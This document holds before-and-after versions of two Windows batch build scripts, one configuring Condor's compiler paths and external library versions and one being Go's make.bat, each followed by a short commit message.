if not defined MSSDK ( echo . && echo *** Failed to run SETENV.BAT! Is Microsoft Platform SDK installed? && exit /B 1 )

REM Set up some stuff for BISON
set BISON_SIMPLE=%cd%\bison.simple
set BISON_HAIRY=%cd%\bison.hairy

REM Tell the build system where we can find soapcpp2
set SOAPCPP2=%EXT_INSTALL%\%EXT_GSOAP_VERSION%\soapcpp2.exe

set CONDOR_INCLUDE=/I "..\src\h" /I "..\src\condor_includes" /I "..\src\condor_c++_util" /I "..\src\condor_daemon_client" /I "..\src\condor_daemon_core.V6" /I "..\src\condor_schedd.V6" /GR
set CONDOR_LIB=Crypt32.lib mpr.lib psapi.lib mswsock.lib netapi32.lib imagehlp.lib advapi32.lib ws2_32.lib user32.lib oleaut32.lib ole32.lib
set CONDOR_LIBPATH=

REM Tell VC makefiles that we do not wish to use external dependency
REM (.dep) files.
set NO_EXTERNAL_DEPS=1

REM ======================================================================
REM Now set the individual variables specific to each external package.
REM Some have been defined, but are not in use yet.
REM ======================================================================

REM ** GSOAP
set CONDOR_GSOAP_INCLUDE=/I %EXT_INSTALL%\%EXT_GSOAP_VERSION%\src /DHAVE_BACKFILL=1 /DHAVE_BOINC=1 /DWITH_OPENSSL=1 /DCOMPILE_SOAP_SSL=1 /DHAVE_EXT_GSOAP=1
set CONDOR_GSOAP_LIB=
set CONDOR_GSOAP_LIBPATH=

REM ** GLOBUS
set CONDOR_GLOBUS_INCLUDE=
set CONDOR_GLOBUS_LIB=
set CONDOR_GLOBUS_LIBPATH=

REM ** OPENSSL
set CONDOR_OPENSSL_INCLUDE=/I %EXT_INSTALL%\%EXT_OPENSSL_VERSION%\inc32 /D HAVE_EXT_OPENSSL
set CONDOR_OPENSSL_LIB=libeay32.lib ssleay32.lib
set CONDOR_OPENSSL_LIBPATH=/LIBPATH:%EXT_INSTALL%\%EXT_OPENSSL_VERSION%\out32dll
rem set CONDOR_OPENSSL_LIBPATH=/LIBPATH:%EXT_INSTALL%\%EXT_OPENSSL_VERSION%\out32dll /NODEFAULTLIB:LIBCMT.LIB

REM ** POSTGRESQL
set CONDOR_POSTGRESQL_INCLUDE=/I %EXT_INSTALL%\%EXT_POSTGRESQL_VERSION%\inc32 /D WANT_QUILL
set CONDOR_POSTGRESQL_LIB=libpqdll.lib
set CONDOR_POSTGRESQL_LIBPATH=/LIBPATH:%EXT_INSTALL%\%EXT_POSTGRESQL_VERSION%\out32dll

REM ** KERBEROS
set CONDOR_KERB_INCLUDE=/I %EXT_INSTALL%\%EXT_KERBEROS_VERSION%\include /D HAVE_EXT_KRB5
set CONDOR_KERB_LIB=comerr32.lib gssapi32.lib k5sprt32.lib krb5_32.lib xpprof32.lib
set CONDOR_KERB_LIBPATH=/LIBPATH:%EXT_INSTALL%\%EXT_KERBEROS_VERSION%\lib

REM ** PCRE
set CONDOR_PCRE_INCLUDE=/I %EXT_INSTALL%\%EXT_PCRE_VERSION%\include
set CONDOR_PCRE_LIB=libpcre.lib
set CONDOR_PCRE_LIBPATH=/LIBPATH:%EXT_INSTALL%\%EXT_PCRE_VERSION%\lib

exit /B 0

@echo off
REM ======================================================================
REM First set all the variables that contain common bits for our build
REM environment.
REM * * * * * * * * * * * * * PLEASE READ* * * * * * * * * * * * * * * *
REM Microsoft Visual Studio will choke on variables that contain strings
REM exceeding 255 chars, so be careful when editing this file! It's
REM totally lame but there's nothing we can do about it.
REM ======================================================================

REM Set paths to Visual C++, the Platform SDKs, and Perl
set VC_DIR=C:\Program Files\Microsoft Visual Studio\VC98\Bin
set SDK_DIR=C:\Program Files\Microsoft Platform SDK
set SDK_XP_DIR=C:\Program Files\Microsoft Platform SDK for Windows XP SP2
set PERL_DIR=C:\Perl\bin

REM Where do the completed externals live?
if A%EXTERN_DIR%==A  set EXTERN_DIR=%cd%\..\externals
set EXT_INSTALL=%EXTERN_DIR%\install
set EXT_TRIGGERS=%EXTERN_DIR%\triggers

REM Specify which versions of the externals we're using. To add a
REM new external, just add its version here, and add that to the
REM EXTERNALS_NEEDED variable defined below.
set EXT_GSOAP_VERSION=gsoap-2.7.6c-p2
set EXT_OPENSSL_VERSION=openssl-0.9.8
set EXT_POSTGRESQL_VERSION=postgresql-8.0.2
set EXT_KERBEROS_VERSION=krb5-1.4.3
set EXT_GLOBUS_VERSION=
set EXT_PCRE_VERSION=pcre-5.0
set EXT_DRMAA_VERSION=drmaa-1.5.1

REM Now tell the build system what externals we need built.
set EXTERNALS_NEEDED=%EXT_GSOAP_VERSION% %EXT_OPENSSL_VERSION% %EXT_KERBEROS_VERSION% %EXT_GLOBUS_VERSION% %EXT_PCRE_VERSION% %EXT_POSTGRESQL_VERSION% %EXT_DRMAA_VERSION%

REM Put NTConfig in the PATH, since it's got lots of stuff we need
REM like awk, gunzip, tar, bison, yacc...
set PATH=%cd%;%SystemRoot%;%SystemRoot%\system32;%PERL_DIR%;%VC_DIR%;%SDK_DIR%;%SDK_XP_DIR%

call vcvars32.bat
if not defined INCLUDE ( echo . && echo *** Failed to run VCVARS32.BAT! Is Microsoft Visual Studio 6.0 installed? && exit /B 1 )
call setenv /2000 /RETAIL
if not defined MSSDK ( echo . && echo *** Failed to run SETENV.BAT! Is Microsoft Platform SDK installed? && exit /B 1 )

REM Set up some stuff for BISON
set BISON_SIMPLE=%cd%\bison.simple
set BISON_HAIRY=%cd%\bison.hairy

REM Tell the build system where we can find soapcpp2
set SOAPCPP2=%EXT_INSTALL%\%EXT_GSOAP_VERSION%\soapcpp2.exe

set CONDOR_INCLUDE=/I "..\src\h" /I "..\src\condor_includes" /I "..\src\condor_c++_util" /I "..\src\condor_daemon_client" /I "..\src\condor_daemon_core.V6" /I "..\src\condor_schedd.V6" /GR
set CONDOR_LIB=Crypt32.lib mpr.lib psapi.lib mswsock.lib netapi32.lib imagehlp.lib advapi32.lib ws2_32.lib user32.lib oleaut32.lib ole32.lib
set CONDOR_LIBPATH=

REM Tell VC makefiles that we do not wish to use external dependency
REM (.dep) files.
set NO_EXTERNAL_DEPS=1

REM ======================================================================
REM Now set the individual variables specific to each external package.
REM Some have been defined, but are not in use yet.
REM ======================================================================

REM ** GSOAP
set CONDOR_GSOAP_INCLUDE=/I %EXT_INSTALL%\%EXT_GSOAP_VERSION%\src /DHAVE_BACKFILL=1 /DHAVE_BOINC=1 /DWITH_OPENSSL=1 /DCOMPILE_SOAP_SSL=1 /DHAVE_EXT_GSOAP=1
set CONDOR_GSOAP_LIB=
set CONDOR_GSOAP_LIBPATH=

REM ** GLOBUS
set CONDOR_GLOBUS_INCLUDE=
set CONDOR_GLOBUS_LIB=
set CONDOR_GLOBUS_LIBPATH=

REM ** OPENSSL
set CONDOR_OPENSSL_INCLUDE=/I %EXT_INSTALL%\%EXT_OPENSSL_VERSION%\inc32 /D HAVE_EXT_OPENSSL
set CONDOR_OPENSSL_LIB=libeay32.lib ssleay32.lib
set CONDOR_OPENSSL_LIBPATH=/LIBPATH:%EXT_INSTALL%\%EXT_OPENSSL_VERSION%\out32dll
rem set CONDOR_OPENSSL_LIBPATH=/LIBPATH:%EXT_INSTALL%\%EXT_OPENSSL_VERSION%\out32dll /NODEFAULTLIB:LIBCMT.LIB

REM ** POSTGRESQL
set CONDOR_POSTGRESQL_INCLUDE=/I %EXT_INSTALL%\%EXT_POSTGRESQL_VERSION%\inc32 /D WANT_QUILL
set CONDOR_POSTGRESQL_LIB=libpqdll.lib
set CONDOR_POSTGRESQL_LIBPATH=/LIBPATH:%EXT_INSTALL%\%EXT_POSTGRESQL_VERSION%\out32dll

REM ** KERBEROS
set CONDOR_KERB_INCLUDE=/I %EXT_INSTALL%\%EXT_KERBEROS_VERSION%\include /D HAVE_EXT_KRB5
set CONDOR_KERB_LIB=comerr32.lib gssapi32.lib k5sprt32.lib krb5_32.lib xpprof32.lib
set CONDOR_KERB_LIBPATH=/LIBPATH:%EXT_INSTALL%\%EXT_KERBEROS_VERSION%\lib

REM ** PCRE
set CONDOR_PCRE_INCLUDE=/I %EXT_INSTALL%\%EXT_PCRE_VERSION%\include
set CONDOR_PCRE_LIB=libpcre.lib
set CONDOR_PCRE_LIBPATH=/LIBPATH:%EXT_INSTALL%\%EXT_PCRE_VERSION%\lib

exit /B 0

bump drmaa external to 1.5.1 for windows too


:: Copyright 2012 The Go Authors. All rights reserved.
:: Use of this source code is governed by a BSD-style
:: license that can be found in the LICENSE file.

:: Environment variables that control make.bat:
::
:: GOROOT_FINAL: The expected final Go root, baked into binaries.
:: The default is the location of the Go tree during the build.
::
:: GOHOSTARCH: The architecture for host tools (compilers and
:: binaries).  Binaries of this type must be executable on the current
:: system, so the only common reason to set this is to set
:: GOHOSTARCH=386 on an amd64 machine.
::
:: GOARCH: The target architecture for installed packages and tools.
::
:: GOOS: The target operating system for installed packages and tools.
::
:: GO_GCFLAGS: Additional 5g/6g/8g arguments to use when
:: building the packages and commands.
::
:: GO_LDFLAGS: Additional 5l/6l/8l arguments to use when
:: building the commands.
::
:: CGO_ENABLED: Controls cgo usage during the build. Set it to 1
:: to include all cgo related files, .c and .go file with "cgo"
:: build directive, in the build. Set it to 0 to ignore them.

@echo off

:: Keep environment variables within this script
:: unless invoked with --no-local.
if x%1==x--no-local goto nolocal
if x%2==x--no-local goto nolocal
setlocal
:nolocal

set GOBUILDFAIL=0

if exist make.bat goto ok
echo Must run make.bat from Go src directory.
goto fail
:ok

:: Clean old generated file that will cause problems in the build.
del /F ".\pkg\runtime\runtime_defs.go" 2>NUL

:: Set GOROOT for build.
cd ..
set GOROOT=%CD%
cd src

echo ##### Building Go bootstrap tool.
echo cmd/dist
if not exist ..\bin\tool mkdir ..\bin\tool
if "x%GOROOT_BOOTSTRAP%"=="x" set GOROOT_BOOTSTRAP=%HOMEDRIVE%%HOMEPATH%\Go1.4
if not exist "%GOROOT_BOOTSTRAP%\bin\go.exe" goto bootstrapfail
setlocal
set GOROOT=%GOROOT_BOOTSTRAP%
set GOOS=
set GOARCH=
"%GOROOT_BOOTSTRAP%\bin\go" build -o cmd\dist\dist.exe .\cmd\dist
endlocal
if errorlevel 1 goto fail
.\cmd\dist\dist env -w -p >env.bat
if errorlevel 1 goto fail
call env.bat
del env.bat
echo.

if x%1==x--dist-tool goto copydist
if x%2==x--dist-tool goto copydist

set buildall=-a
if x%1==x--no-clean set buildall=
.\cmd\dist\dist bootstrap %buildall% -v
if errorlevel 1 goto fail
:: Delay move of dist tool to now, because bootstrap cleared tool directory.
move .\cmd\dist\dist.exe "%GOTOOLDIR%\dist.exe"
echo.

if not %GOHOSTARCH% == %GOARCH% goto localbuild
if not %GOHOSTOS% == %GOOS% goto localbuild
goto mainbuild

:localbuild
echo ##### Building tools for local system. %GOHOSTOS%/%GOHOSTARCH%
setlocal
set GOOS=%GOHOSTOS%
set GOARCH=%GOHOSTARCH%
"%GOTOOLDIR%\go_bootstrap" install -gcflags "%GO_GCFLAGS%" -ldflags "%GO_LDFLAGS%" -v std cmd
endlocal
if errorlevel 1 goto fail
echo.

:mainbuild
echo ##### Building packages and commands.
"%GOTOOLDIR%\go_bootstrap" install -gcflags "%GO_GCFLAGS%" -ldflags "%GO_LDFLAGS%" -a -v std cmd
if errorlevel 1 goto fail
del "%GOTOOLDIR%\go_bootstrap.exe"
echo.

if x%1==x--no-banner goto nobanner
"%GOTOOLDIR%\dist" banner
:nobanner

goto end

:copydist
mkdir "%GOTOOLDIR%" 2>NUL
copy cmd\dist\dist.exe "%GOTOOLDIR%\"
goto end

:bootstrapfail
echo ERROR: Cannot find %GOROOT_BOOTSTRAP%\bin\go.exe
echo "Set GOROOT_BOOTSTRAP to a working Go tree >= Go 1.4."

:fail
set GOBUILDFAIL=1
if x%GOBUILDEXIT%==x1 exit %GOBUILDFAIL%

:end

:: Copyright 2012 The Go Authors. All rights reserved.
:: Use of this source code is governed by a BSD-style
:: license that can be found in the LICENSE file.

:: Environment variables that control make.bat:
::
:: GOROOT_FINAL: The expected final Go root, baked into binaries.
:: The default is the location of the Go tree during the build.
::
:: GOHOSTARCH: The architecture for host tools (compilers and
:: binaries).  Binaries of this type must be executable on the current
:: system, so the only common reason to set this is to set
:: GOHOSTARCH=386 on an amd64 machine.
::
:: GOARCH: The target architecture for installed packages and tools.
::
:: GOOS: The target operating system for installed packages and tools.
::
:: GO_GCFLAGS: Additional 5g/6g/8g arguments to use when
:: building the packages and commands.
::
:: GO_LDFLAGS: Additional 5l/6l/8l arguments to use when
:: building the commands.
::
:: CGO_ENABLED: Controls cgo usage during the build. Set it to 1
:: to include all cgo related files, .c and .go file with "cgo"
:: build directive, in the build. Set it to 0 to ignore them.
::
:: CC: Command line to run to compile C code for GOHOSTARCH.
:: Default is "gcc".
::
:: CC_FOR_TARGET: Command line to run compile C code for GOARCH.
:: This is used by cgo. Default is CC.

@echo off

:: Keep environment variables within this script
:: unless invoked with --no-local.
if x%1==x--no-local goto nolocal
if x%2==x--no-local goto nolocal
setlocal
:nolocal

set GOBUILDFAIL=0

if exist make.bat goto ok
echo Must run make.bat from Go src directory.
goto fail
:ok

:: Clean old generated file that will cause problems in the build.
del /F ".\pkg\runtime\runtime_defs.go" 2>NUL

:: Set GOROOT for build.
cd ..
set GOROOT=%CD%
cd src

echo ##### Building Go bootstrap tool.
echo cmd/dist
if not exist ..\bin\tool mkdir ..\bin\tool
if "x%GOROOT_BOOTSTRAP%"=="x" set GOROOT_BOOTSTRAP=%HOMEDRIVE%%HOMEPATH%\Go1.4
if not exist "%GOROOT_BOOTSTRAP%\bin\go.exe" goto bootstrapfail
setlocal
set GOROOT=%GOROOT_BOOTSTRAP%
set GOOS=
set GOARCH=
"%GOROOT_BOOTSTRAP%\bin\go" build -o cmd\dist\dist.exe .\cmd\dist
endlocal
if errorlevel 1 goto fail
.\cmd\dist\dist env -w -p >env.bat
if errorlevel 1 goto fail
call env.bat
del env.bat
echo.

if x%1==x--dist-tool goto copydist
if x%2==x--dist-tool goto copydist

set buildall=-a
if x%1==x--no-clean set buildall=
.\cmd\dist\dist bootstrap %buildall% -v
if errorlevel 1 goto fail
:: Delay move of dist tool to now, because bootstrap cleared tool directory.
move .\cmd\dist\dist.exe "%GOTOOLDIR%\dist.exe"
echo.

if not %GOHOSTARCH% == %GOARCH% goto localbuild
if not %GOHOSTOS% == %GOOS% goto localbuild
goto mainbuild

:localbuild
echo ##### Building packages and commands for host, %GOHOSTOS%/%GOHOSTARCH%.
:: CC_FOR_TARGET is recorded as the default compiler for the go tool. When building for the
:: host, however, use the host compiler, CC, from `cmd/dist/dist env` instead.
setlocal
set GOOS=%GOHOSTOS%
set GOARCH=%GOHOSTARCH%
"%GOTOOLDIR%\go_bootstrap" install -gcflags "%GO_GCFLAGS%" -ldflags "%GO_LDFLAGS%" -v std cmd
endlocal
if errorlevel 1 goto fail
echo.

:mainbuild
echo ##### Building packages and commands for %GOOS%/%GOARCH%.
setlocal
set CC=%CC_FOR_TARGET%
"%GOTOOLDIR%\go_bootstrap" install -gcflags "%GO_GCFLAGS%" -ldflags "%GO_LDFLAGS%" -a -v std cmd
endlocal
if errorlevel 1 goto fail
del "%GOTOOLDIR%\go_bootstrap.exe"
echo.

if x%1==x--no-banner goto nobanner
"%GOTOOLDIR%\dist" banner
:nobanner

goto end

:copydist
mkdir "%GOTOOLDIR%" 2>NUL
copy cmd\dist\dist.exe "%GOTOOLDIR%\"
goto end

:bootstrapfail
echo ERROR: Cannot find %GOROOT_BOOTSTRAP%\bin\go.exe
echo "Set GOROOT_BOOTSTRAP to a working Go tree >= Go 1.4."

:fail
set GOBUILDFAIL=1
if x%GOBUILDEXIT%==x1 exit %GOBUILDFAIL%

:end

build: update Windows make.bat to use CC_FOR_TARGET.

Change-Id: Ie4d8bedb9408372dff64e9a7fd857e1be4ee59e1
Reviewed-on: https://go-review.googlesource.com/6401
Reviewed-by: David Crawshaw <a2f0bf29257797dd66800b4fbb9945c3e216c004@golang.org>
Reviewed-by: Alex Brainman <54ba58c8441b5eff861de6b4e5ee46baf086b142@gmail.com>